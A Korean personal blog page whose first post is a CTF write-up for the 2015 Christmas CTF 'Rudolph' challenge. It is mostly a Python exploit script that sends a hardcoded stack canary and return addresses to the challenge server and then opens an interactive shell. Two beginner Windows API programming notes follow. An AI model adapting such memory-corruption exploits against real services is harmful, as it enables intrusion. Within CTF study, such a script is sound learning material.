>

christmas CTF Rudolph

CTF 2015. 2. 20. 06:40


#!/usr/bin/python


from socket import *

from struct import pack,unpack


import time

import telnetlib


host = "prob2.christmasctf.com"

port = 11111


canary = "\xab\x7e\x41" # server


unp = lambda x:unpack("<L",x)[0]


def recv_until(s,param):

data = ""

while param not in data:

data += s.recv(1)

return data


def InsertGiftList(s,name,num):

s.send("1\n")

recv_until(s,"Name? >>> ")

s.send(name)

recv_until(s,"Gift? >>> ")

s.send(num + "\n")


def RemoveGiftList(s,name,num):

s.send("2\n")

recv_until(s,"Name? >>> ")

s.send(name)

recv_until(s,"Gift? >>> ")

s.send(num + "\n")

recv_until(s,"Removed : ")

time.sleep(0.5)

return s.recv(24)

s = create_connection((host,port))


recv_until(s,"---> ")

InsertGiftList(s,"0"*16,"-1")

InsertGiftList(s,"1" + canary + "aaaabbbbcccc","134514992")


InsertGiftList(s,"\xee\x94\x04\x08\xd2\x95\x04\x08\xa4\xb0\x04\x08\xee\x94\x04\x08","-1")

InsertGiftList(s,"\xf0\xff\xff\xff\x93\x8a\x04\x08eeee\xa4\xb0\x04\x08","-1")

data = RemoveGiftList(s,"0"*16,"-1")

time.sleep(0.1)

s.send("1734437990\n")


tn = telnetlib.Telnet(host,port)

tn.sock = s

tn.interact()

stack canary를 얻어오는 과정이 생략되어있음. 바이너리 안에 파일을 읽고 그 내용을 출력하는 아주 기특한 함수가 있는데 그 함수를 이용했던 것으로 기억함.

'CTF' 카테고리의 다른 글

[Layer7 2015] Reverse Me, Easy Rerversing  (0) 2015.09.01
Codegate 2015 bookstore  (0) 2015.03.17
Codegate 2014 minibomb write-up  (5) 2014.03.09
Codegate 2014 angrydoraemon write-up  (0) 2014.03.09
Codegate Junior 2014 Write-up  (0) 2014.03.05
Posted by Mungsul
,

예제 따라하면서 공부중인데 LPCWSTR 이니 자꾸 형식이 안맞는다고 태클을 걸어온다.

오랫동안 써왔던 const char 형을 떠나보내야 할 때가 왔다


strlen -> lstrlen 

sprintf -> wsprintf

등등..


사실 아직도 잘 구분이 안가는데 익숙해지면 될 듯 하다 

'Programming > windows API' 카테고리의 다른 글

윈도우즈 프로그래밍  (0) 2014.03.17
Posted by Mungsul
,

콘솔창에서 깨작거리는 것을 넘어서 GUI 프로그래밍을 짜보고 싶었다. 그래서 공부를 시작함


필수 함수들 : WinMain() , WndProc();

WinMain() -> 프로그램 시작 지점, 윈도우를 만들고 출력시킴

WndProc() -> 실질적인 동작, 메세지 처리함수 


WinMain 에서 윈도우 클래스를 등록하고 창을 출력시킴 -> CreateWindow 와 ShowWindow

그리고 메시지 루프를 시킨다. GetMessage , TranslateMessage , DispatchMessage


WndProc 함수는 메세지를 받고 그 메세지에 따른 루틴들을 작성


#include<stdio.h>

#include<conio.h>

#include<Windows.h>

LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM);

HINSTANCE g_hInst;

LPCWSTR lpszClass=TEXT("First");

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR lpszCmdParam,int nCmdShow)

{

HWND hWnd;

MSG Message;

WNDCLASS WndClass;

g_hInst=hInstance;


WndClass.cbClsExtra=0;

WndClass.cbWndExtra=0;

WndClass.hbrBackground=(HBRUSH)GetStockObject(LTGRAY_BRUSH);

WndClass.hCursor=LoadCursor(NULL,IDC_ARROW);

WndClass.hIcon=LoadIcon(NULL,IDI_APPLICATION);

WndClass.hInstance=hInstance;

WndClass.lpfnWndProc=(WNDPROC)WndProc;

WndClass.lpszClassName=lpszClass;

WndClass.lpszMenuName=NULL;

WndClass.style=CS_HREDRAW;

RegisterClass(&WndClass);


// 윈도우 클래스 등록


hWnd=CreateWindow(lpszClass,lpszClass,WS_CAPTION | WS_SYSMENU,CW_USEDEFAULT,CW_USEDEFAULT,500,500,NULL,(HMENU)NULL,hInstance,NULL); // 4번째 인자부터는 x y 폭 높이

ShowWindow(hWnd,nCmdShow);


while(GetMessage(&Message,0,0,0))

{

TranslateMessage(&Message);

DispatchMessage(&Message);

}

return Message.wParam;


}


LRESULT CALLBACK WndProc(HWND hWnd,UINT iMessage,WPARAM wParam,LPARAM lParam)

{

HDC hdc;

PAINTSTRUCT ps;

switch(iMessage)

{

case WM_DESTROY:

PostQuitMessage(0);

return 0;


case WM_PAINT:

hdc=BeginPaint(hWnd,&ps);

TextOut(hdc,100,100,L"TEST",4);

EndPaint(hWnd,&ps);

return 0;

}

return(DefWindowProc(hWnd,iMessage,wParam,lParam));

}


거의 되면 이러한 형태를 띈다. 창에다가 TEST 라는 문자열을 출력시키는 간단한 예제

'Programming > windows API' 카테고리의 다른 글

const char 바이바이  (0) 2014.03.22
Posted by Mungsul
,